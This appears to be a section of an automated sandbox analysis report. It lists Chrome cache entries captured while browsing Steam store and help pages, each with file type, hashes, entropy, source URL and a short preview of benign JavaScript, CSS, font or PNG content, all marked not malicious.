Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1057 x 500, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	144661
Entropy (8bit):	7.980843362263581
Encrypted:	false
SSDEEP:	3072:yK02orTG+Saw+pemTN2jo+xInoq3A8sbqYT1h07drn7y1:yK0E+QUzsk+xY3AjhaBn7y1
MD5:	5F16125351B708EE3D1141EB5553CD3D
SHA1:	EF8994F541DEC79086CB998C180D260E1C7DD704
SHA-256:	7BDC6F79DB78360EC0E758B748D745C8F11EE6C93C1F0C5E7D128E1DDCAF35EF
SHA-512:	415B0C586E6B5F5E27FF7D134D01B26A92BC8F9F7F22D0EA8EF77E72A4042B5A66538068E85A00072B87B3C0A8C1DA30205FFAC3808B05DE04582A4E1D017961
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images//v6/temp/cluster_bg_2.png
Preview:	.PNG........IHDR...!...........7.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:53F0C1D58A4311E6A9CC89E9E7EC36A5" xmpMM:DocumentID="xmp.did:53F0C1D68A4311E6A9CC89E9E7EC36A5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53F0C1D38A4311E6A9CC89E9E7EC36A5" stRef:documentID="xmp.did:53F0C1D48A4311E6A9CC89E9E7EC36A5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.....1.IDATx..m.,..$.0....-A{.R.fC2i)Z.L;.i../.....7.q.w....UE....... A.....?....v.m..v....._.n..~..w.sf.B._.G..c..

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/login.js?contenthash=a191782b1270c963e3b1
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	92
Entropy (8bit):	5.071769701137034
Encrypted:	false
SSDEEP:	3:2uhx7lSNDrff0dutNDufFm8riAk:JT7lSBz0gtN6msiAk
MD5:	538ADD68F446543C7AC544CEC3DED5F1
SHA1:	BDDB92B6F3A3C3BEB8A26E54A644B18BEB64E9C6
SHA-256:	C43F7BEB7CECC72438283B1B2947C9B2455A5C099136E4F39C1311A2BA221156
SHA-512:	AAE0A67D7D9A156F240775B213F1A2205992000B186C63F64C5F494343F705B9EA83288E84B07415B4C8A01EDD8A69F25C1CE1EB8109CCE57853F1123D157B67
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwmpxiXbITt9jxIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	CkMKDQ2RYZVOGgQIVhgCIAEKMg01hlQcGgQISxgCKiUIClIhChchQC5fIyQqLT8rJi8lLCleOig9fjwnOxABGP////8P

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (701), with no line terminators
Category:	downloaded
Size (bytes):	701
Entropy (8bit):	4.89318727646278
Encrypted:	false
SSDEEP:	12:s+K3NV0H3BkLcsDh5Ed+K3/3BkoDh5Ed+K393BkbEDh5Ed+K3BVo3Bk2H:sU39sYdL3hYdp3dYdtVo3P
MD5:	36073B0B50C0FE6DC3EF6CC0FF6A8395
SHA1:	F4EBFCBFC8ACED8374E2DE0EFE1E3C553A2144A7
SHA-256:	B3674D72FEFC76E531652786A0FDD62B13929CF80A80862E84E86656C03A0DB2
SHA-512:	287D269C0290687A8F15E5CF09FB0228089E2F8F02360DCA2435BC73D601E27FE77707F6A35D47FC80947E363C9F99728E3438FCC899DEB51706C7876E6909E3
Malicious:	false
Reputation:	low
URL:	"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845"
Preview:	@font-face{font-family:motiva sans;font-style:normal;font-weight:400;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:500;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:700;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:800;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff) format('woff')}

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	downloaded
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	downloaded
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/modal.js?v=.Gl8zxCENQAoO
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png
